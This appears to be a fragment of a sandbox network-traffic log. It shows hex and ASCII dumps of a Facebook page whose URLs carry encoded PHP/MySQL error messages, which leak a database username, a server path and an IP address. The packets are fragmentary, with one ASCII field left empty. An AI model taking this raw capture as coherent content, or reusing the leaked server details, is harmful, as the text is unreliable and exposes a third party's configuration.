2022-10-08 09:35:18 UTC	627	IN	Data Raw: 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 Data Ascii: 520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520li
2022-10-08 09:35:18 UTC	629	IN	Data Raw: 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 38 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 48 69 6e 64 69 22 3e e0 a4 b9 e0 a4 bf e0 a4 a8 e0 a5 8d e0 a4 a6 e0 a5 80 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 7a 68 2d 63 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 Data Ascii: u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 8); return false;" title="Hindi"></a></li><li><a class="_sv4" dir="ltr" href="https://zh-cn.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%
2022-10-08 09:35:18 UTC	630	IN	Data Raw: 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 7a 68 5f 43 4e 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 7a 68 2d 63 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c Data Ascii: /b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("zh_CN", "en_US", "https:\/\/zh-cn.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql
2022-10-08 09:35:18 UTC	632	IN	Data Raw: 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d Data Ascii: includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-
2022-10-08 09:35:18 UTC	633	IN	Data Raw: 74 79 25 32 46 69 6e 63 6c 75 64 65 73 25 32 46 64 61 74 61 62 61 73 65 2e 70 68 70 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 32 30 6f 6e 25 32 35 32 30 6c 69 6e 65 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 34 37 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 25 32 35 33 45 57 61 72 6e 69 6e 67 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 33 41 25 32 35 32 30 25 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 25 32 38 25 32 39 25 33 41 25 32 35 32 30 41 63 63 65 73 73 25 32 35 32 30 64 65 6e 69 65 64 25 32 35 32 30 66 6f 72 25 32 35 32 30 75 73 65 72 25 32 35 Data Ascii: ty%2Fincludes%2Fdatabase.php%253C%2Fb%253E%2520on%2520line%2520%253Cb%253E47%253C%2Fb%253E%250A%253Cbr%2520%2F%253E%250A%253Cbr%2520%2F%253E%250A%253Cb%253EWarning%253C%2Fb%253E%3A%2520%2520mysql_pconnect%28%29%3A%2520Access%2520denied%2520for%2520user%25
2022-10-08 09:35:18 UTC	634	IN	Data Raw: 65 73 22 3e 3c 69 20 63 6c 61 73 73 3d 22 69 6d 67 20 73 70 5f 6f 74 31 74 35 59 6a 59 4c 33 73 20 73 78 5f 32 63 66 61 37 64 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 43 75 72 76 65 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 70 61 67 65 46 6f 6f 74 65 72 43 68 69 6c 64 72 65 6e 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 46 61 63 65 62 6f 6f 6b 20 73 69 74 65 20 6c 69 6e 6b 73 22 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 75 69 4c 69 73 74 20 70 61 67 65 46 6f 6f 74 65 72 4c 69 6e 6b 4c 69 73 74 20 5f 35 30 39 2d 20 5f 34 6b 69 20 5f 37 30 33 20 5f 36 2d 69 22 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 72 65 67 2f 22 20 74 69 74 6c Data Ascii: es"><i class="img sp_ot1t5YjYL3s sx_2cfa7d"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChildren" role="contentinfo" aria-label="Facebook site links"><ul class="uiList pageFooterLinkList _509- _4ki _703 _6-i"><li><a href="/reg/" titl
2022-10-08 09:35:18 UTC	636	IN	Data Raw: 65 72 22 3e 49 6e 73 74 61 67 72 61 6d 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 75 6c 6c 65 74 69 6e 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 42 75 6c 6c 65 74 69 6e 20 4e 65 77 73 6c 65 74 74 65 72 22 3e 42 75 6c 6c 65 74 69 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 63 61 6c 2f 6c 69 73 74 73 2f 32 34 35 30 31 39 38 37 32 36 36 36 31 30 34 2f 22 20 74 69 74 6c 65 3d 22 42 72 6f 77 73 65 20 6f 75 72 20 4c 6f 63 61 6c 20 4c 69 73 74 73 20 64 69 72 65 63 74 6f 72 79 2e 22 3e 4c 6f 63 61 6c 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 66 75 6e 64 72 61 69 73 65 72 73 2f 22 20 74 69 74 6c 65 3d 22 44 0d 0a Data Ascii: er">Instagram</a></li><li><a href="https://www.bulletin.com/" title="Check out Bulletin Newsletter">Bulletin</a></li><li><a href="/local/lists/245019872666104/" title="Browse our Local Lists directory.">Local</a></li><li><a href="/fundraisers/" title="D
2022-10-08 09:35:18 UTC	636	IN	Data Raw: 36 64 62 62 0d 0a 6f 6e 61 74 65 20 74 6f 20 77 6f 72 74 68 79 20 63 61 75 73 65 73 2e 22 3e 46 75 6e 64 72 61 69 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 62 69 7a 2f 64 69 72 65 63 74 6f 72 79 2f 22 20 74 69 74 6c 65 3d 22 42 72 6f 77 73 65 20 6f 75 72 20 46 61 63 65 62 6f 6f 6b 20 53 65 72 76 69 63 65 73 20 64 69 72 65 63 74 6f 72 79 2e 22 3e 53 65 72 76 69 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 76 6f 74 69 6e 67 69 6e 66 6f 72 6d 61 74 69 6f 6e 63 65 6e 74 65 72 2f 3f 65 6e 74 72 79 5f 70 6f 69 6e 74 3d 63 32 6c 30 5a 51 25 33 44 25 33 44 22 20 74 69 74 6c 65 3d 22 53 65 65 20 74 68 65 20 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 2e 22 3e 56 Data Ascii: 6dbbonate to worthy causes.">Fundraisers</a></li><li><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">V
2022-10-08 09:35:18 UTC	638	IN	Data Raw: 6c 65 3d 22 52 65 76 69 65 77 20 6f 75 72 20 74 65 72 6d 73 20 61 6e 64 20 70 6f 6c 69 63 69 65 73 2e 22 3e 54 65 72 6d 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 68 65 6c 70 2f 3f 72 65 66 3d 70 66 22 20 61 63 63 65 73 73 6b 65 79 3d 22 30 22 20 74 69 74 6c 65 3d 22 56 69 73 69 74 20 6f 75 72 20 48 65 6c 70 20 43 65 6e 74 65 72 2e 22 3e 48 65 6c 70 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 65 6c 70 2f 36 33 37 32 30 35 30 32 30 38 37 38 35 30 34 22 20 74 69 74 6c 65 3d 22 56 69 73 69 74 20 6f 75 72 20 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 73 20 4e 6f 74 69 63 65 2e 22 3e 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 Data Ascii: le="Review our terms and policies.">Terms</a></li><li><a href="/help/?ref=pf" accesskey="0" title="Visit our Help Center.">Help</a></li><li><a href="help/637205020878504" title="Visit our Contact Uploading & Non-Users Notice.">Contact Uploading &
2022-10-08 09:35:18 UTC	639	IN	Data Raw: 22 37 32 39 36 33 31 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 62 30 74 6a 38 41 48 57 47 35 6c 54 46 4a 35 41 22 7d 2c 22 31 32 38 31 35 30 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 50 48 5a 4d 39 67 46 6f 79 70 43 6a 51 55 69 51 22 7d 2c 22 31 32 39 31 30 32 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 35 31 39 4c 73 65 49 47 31 6e 77 71 33 6f 2d 4b 45 22 7d 2c 22 31 32 39 34 31 38 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 76 64 36 6d 77 72 74 41 4a 6f 75 45 4a 69 33 73 22 7d 2c 22 31 33 39 39 32 31 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a Data Ascii: "729631":{"result":false,"hash":"AT7b0tj8AHWG5lTFJ5A"},"1281505":{"result":false,"hash":"AT4PHZM9gFoypCjQUiQ"},"1291023":{"result":false,"hash":"AT519LseIG1nwq3o-KE"},"1294182":{"result":false,"hash":"AT4vd6mwrtAJouEJi3s"},"1399218":{"result":true,"hash":
2022-10-08 09:35:18 UTC	641	IN	Data Raw: 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 58 39 6e 72 36 35 61 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 4a 66 58 34 5c 2f 79 45 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 54 4d 4d 50 62 66 34 66 5f 6e 43 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4b 73 62 52 73 33 75 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 55 5c 2f 72 5c 2f 64 39 5a 7a 66 4b 65 6c 79 51 4e 2e 6a 73 3f 5f Data Ascii: Ij3Wp8lg5Kz","nc":1},"X9nr65a":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iJfX4\/yE\/l\/en_US\/TMMPbf4f_nC.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"KsbRs3u":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yU\/r\/d9ZzfKelyQN.js?_
2022-10-08 09:35:18 UTC	642	IN	Data Raw: 33 36 33 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 38 65 56 4d 41 6e 58 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 34 5c 2f 72 5c 2f 42 72 34 4e 55 44 4f 70 6b 4c 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 65 39 41 4e 7a 77 5c 2f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 50 77 4c 34 5c 2f 79 72 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 51 48 Data Ascii: 363.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"8eVMAnX":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y4\/r\/Br4NUDOpkLd.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"e9ANzw\/":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iPwL4\/yr\/l\/en_US\/QH
2022-10-08 09:35:18 UTC	643	IN	Data Raw: 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 5f 5c 2f 72 5c 2f 73 4a 37 4e 49 6a 73 4e 32 4e 41 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 41 78 58 30 6a 6a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 35 5c 2f 72 5c 2f 5f 4b 5f 76 47 37 74 48 55 32 59 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 74 6a 6d 6b 2b 30 4b 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 Data Ascii: src.php\/v3\/y_\/r\/sJ7NIjsN2NA.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dAxX0jj":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y5\/r\/_K_vG7tHU2Y.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"tjmk+0K":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php
2022-10-08 09:35:18 UTC	645	IN	Data Raw: 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 44 5c 2f 72 5c 2f 30 57 6d 61 66 66 41 57 66 78 68 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 50 64 39 56 6a 78 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 63 78 48 34 5c 2f 79 69 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 47 6b 39 49 45 2d 2d 31 62 61 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 48 73 4a 51 36 79 22 3a 7b Data Ascii: ":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yD\/r\/0WmaffAWfxh.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Pd9Vjxl":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3icxH4\/yi\/l\/en_US\/Gk9IE--1bad.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dHsJQ6y":{
2022-10-08 09:35:18 UTC	646	IN	Data Raw: 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 46 4a 76 47 4b 5c 2f 6a 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 45 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 79 75 55 30 35 61 47 58 33 7a 35 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5a 57 4a 38 78 38 55 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 55 69 58 34 5c 2f 79 79 5c 2f 6c 5c 2f 65 Data Ascii: css?_nc_x=Ij3Wp8lg5Kz","nc":1},"FJvGK\/j":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yE\/l\/0,cross\/yuU05aGX3z5.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"ZWJ8x8U":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iUiX4\/yy\/l\/e
2022-10-08 09:35:18 UTC	648	IN	Data Raw: 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 71 5c 2f 72 5c 2f 53 78 72 75 62 71 6c 32 37 6f 39 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 49 32 78 6d 45 79 4f 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 51 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 43 74 62 70 4b 77 4a 6a 55 63 52 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 52 70 4d 75 38 48 64 22 3a 7b 22 74 79 70 65 22 3a 22 Data Ascii: "src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yq\/r\/Sxrubql27o9.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"I2xmEyO":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yQ\/l\/0,cross\/CtbpKwJjUcR.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"RpMu8Hd":{"type":"
2022-10-08 09:35:18 UTC	649	IN	Data Raw: 4b 5c 2f 72 5c 2f 36 4d 53 34 32 77 6a 44 34 75 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 52 32 53 57 59 47 38 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 35 7a 6c 34 5c 2f 79 36 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 50 38 68 59 4a 52 4d 45 5a 43 52 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6c 6c 34 5a 47 5c 2f 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c Data Ascii: K\/r\/6MS42wjD4uO.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"R2SWYG8":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3i5zl4\/y6\/l\/en_US\/P8hYJRMEZCR.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"ll4ZG\/y":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\
2022-10-08 09:35:18 UTC	651	IN	Data Raw: 34 53 39 49 78 4d 4b 4e 47 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6e 7a 41 4b 76 4c 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 71 5c 2f 72 5c 2f 68 6b 49 4b 57 6f 71 64 68 69 4c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 69 4c 31 2b 43 4a 72 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6c 5c 2f 72 5c 2f 4b 5f 47 32 6a 43 45 5a Data Ascii: 4S9IxMKNG.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"nzAKvLy":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yq\/r\/hkIKWoqdhiL.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"iL1+CJr":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yl\/r\/K_G2jCEZ
2022-10-08 09:35:18 UTC	652	IN	Data Raw: 39 55 5a 42 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 64 5c 2f 72 5c 2f 30 4f 58 63 78 4b 6d 35 69 42 75 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 33 39 30 4f 72 69 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 7a 38 65 34 5c 2f 79 74 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 67 30 4b 5a 71 65 70 75 6f 63 70 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d Data Ascii: 